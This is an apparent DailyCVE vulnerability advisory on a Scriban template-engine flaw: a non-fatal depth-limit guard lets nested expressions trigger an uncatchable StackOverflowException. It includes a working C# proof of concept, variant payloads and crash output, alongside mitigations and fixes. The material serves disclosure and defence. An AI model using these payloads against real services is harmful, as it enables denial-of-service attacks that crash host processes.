Scriban, Denial of Service via StackOverflowException, GHSA-wgh7-7m3c-fx25 / GHSA-p6q4-fgr8-vx4p (High) -DC-Jun2026-708

Listen to this Post

How the Mentioned CVE Works

The vulnerability resides in the Scriban template engine’s expression parser, specifically in the `EnterExpression()` method within src/Scriban/Parsing/Parser.Expressions.cs. This method is intended to guard against excessive recursion by incrementing an `_expressionDepth` counter and checking it against a configurable `ExpressionDepthLimit` (default 250). When the limit is exceeded, the code calls `LogError(…)` and sets a flag _isExpressionDepthLimitReached = true. However, `LogError` uses the default isFatal: false, meaning it merely appends a non-fatal error message to the parser’s message list and sets `HasErrors = true` — it does not throw an exception, return a sentinel value, or unwind the parse stack.
Critically, the `_isExpressionDepthLimitReached` flag is never read by any code path that would stop recursion. A full-repo search confirms the flag appears in only four places: the field declaration, a reset to false, the deduplication test inside EnterExpression(), and its assignment to true. There is no check of this flag in `ParseExpression` or any calling function. As a result, `ParseExpression` calls EnterExpression(), then proceeds directly into the token switch — parsing parentheses, array initializers, object initializers, or unary operators — and recursively calls itself for each nested level. The recursion depth is limited only by the native thread stack size, not by any application-level control.
A template with approximately 4,000 nested parentheses (on a default 1 MB stack) will exhaust the stack and trigger an uncatchable `StackOverflowException` in .NET, which immediately terminates the entire host process. This affects both Scriban-native (Template.Parse) and Liquid-compatible (Template.ParseLiquid) parsing modes, as they share the same expression parser. The same flawed guard renders the fixes for prior advisories GHSA-wgh7-7m3c-fx25 and GHSA-p6q4-fgr8-vx4p ineffective — the array-initializer path, for instance, was wrapped in EnterExpression()/LeaveExpression(), but because `EnterExpression()` only logs, the array path still overflows.
The vulnerability is reachable even without direct template injection: the `object.eval` / `object.eval_template` built-in functions re-parse a string argument at render time using Template.Parse(...). If an attacker can control the string passed to these functions, the process will crash during rendering, and the surrounding `try/catch` block cannot intercept the StackOverflowException.

DailyCVE Form

Platform: Scriban
Version: 6.6.0 – 7.2.0
Vulnerability: Uncontrolled recursion → StackOverflowException (DoS)
Severity: High (CVSS 7.5)
date: 2026-03-24

Prediction: 2026-04-15

What Undercode Say

Analytics & Bash Commands

Reproduce the crash with a minimal .NET console project
dotnet new console -n ScribanPoc
cd ScribanPoc
dotnet add package Scriban --version 7.2.0

PoC Code (Program.cs)

using Scriban;
int n = 8000; // ~8 KB payload, overflows default 1 MB stack
string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";
Console.WriteLine($"Parsing template with {n} nested parentheses...");
Template.Parse(tpl); // <-- process terminates here with StackOverflowException
Console.WriteLine("Parse returned without crashing"); // never reached

Additional Confirmed Payloads

// Array initializers (GHSA-p6q4 path)
string tpl = "{{ " + new string('[', n) + "1" + new string(']', n) + " }}";
Template.Parse(tpl);
// Object initializers
var b = new StringBuilder();
for (int i = 0; i < n; i++) b.Append("{x:");
b.Append('1');
b.Append('}', n);
Template.Parse("{{ " + b + " }}");
// Unary operators
string tpl = "{{ " + new string('!', n) + "true" + " }}";
Template.Parse(tpl);
// Liquid syntax mode (same parser)
string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";
Template.ParseLiquid(tpl);

Runtime Exploit via `object.eval` (Trusted Outer Template)

using Scriban;
int n = 8000;
string deep = new string('(', n) + "1" + new string(')', n);
string outer = "{{ \"" + deep + "\" | object.eval }}";
var t = Template.Parse(outer);
Console.WriteLine($"Outer parsed. HasErrors = {t.HasErrors}");
try
{
t.Render(); // <-- crashes here; StackOverflowException cannot be caught
}
catch (Exception e)
{
Console.WriteLine($"Caught {e.GetType().Name}"); // never reached
}

Observed Output

Parsing template with 8000 nested parentheses (default ParserOptions)...
Stack overflow.
at Scriban.Parsing.Parser.ParseParenthesis()
at Scriban.Parsing.Parser.ParseExpression(...)
at Scriban.Parsing.Parser.ExpectAndParseExpression(...)
at Scriban.Parsing.Parser.ParseParenthesis()
... (repeats until stack exhaustion)

Process exits with code 134 (SIGABRT) on Linux.

Exploit

An unauthenticated attacker can craft a template with ~8 KB of nested parentheses, array initializers, object initializers, or unary operators. When the application calls `Template.Parse()` or `Template.ParseLiquid()` on this input, the recursive-descent parser recurses thousands of levels deep, exhausts the native thread stack, and raises an uncatchable StackOverflowException. The .NET runtime immediately terminates the entire host process — no `try/catch` block can prevent this. The same outcome occurs if the attacker controls a string passed to `object.eval` / `object.eval_template` at render time, even when the outer template is fully trusted.
All Scriban versions 6.6.0 through 7.2.0 (current as of writing) are vulnerable. The `ExpressionDepthLimit` option (default 250) provides no protection because it only logs a non-fatal error and does not halt recursion.

Protection

Immediate Mitigation

  • Do not expose `Template.Parse` or `Template.ParseLiquid` to untrusted input until a patched version is available.
  • Avoid using `object.eval` / `object.eval_template` with user-controlled strings.
  • Implement a request size limit (e.g., reject templates > 1 KB) as a temporary workaround — the 8 KB payload is small, but limiting size reduces the attack surface.

Permanent Fix (To Be Applied by Library Maintainers)

  • Modify `EnterExpression()` to throw a parse exception or log with `isFatal: true` when the depth limit is exceeded, and ensure the parser unwinds immediately.
  • Add a call to `RuntimeHelpers.EnsureSufficientExecutionStack()` at the entry of `ParseExpression()` to detect imminent stack exhaustion and throw a manageable exception.
  • Add regression tests at depths that would overflow without the fix (e.g., 100,000 nested levels) to verify the guard actually stops recursion, rather than only testing `HasErrors` at depth 20.

Workaround for Host Applications

  • Run the template parsing in a separate, isolated process that can be restarted if it crashes.
  • Use AppDomain or process-level isolation to contain the impact of a crash.

Impact

  • Type: Denial of Service (CWE-674: Uncontrolled Recursion) leading to uncatchable `StackOverflowException` and full process termination.
  • CVSS 3.1 Score: 7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
  • Affected Versions: Scriban 6.6.0 through 7.2.0 (all versions shipping the depth-limit guard). Earlier versions are also vulnerable to the original unbounded recursion.
  • Who is Impacted: Any application that parses attacker-influenced templates via `Template.Parse` / Template.ParseLiquid, or passes attacker-controlled strings to `object.eval` / object.eval_template. This includes CMS platforms, email templating systems, report generators, and any service that uses Scriban with untrusted input.
  • Why Existing Mitigation Fails: The `ExpressionDepthLimit` is advisory only — it records an error but does not stop recursion. Because the exception is a StackOverflowException, callers cannot defend with `try/catch` — the process is lost immediately.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top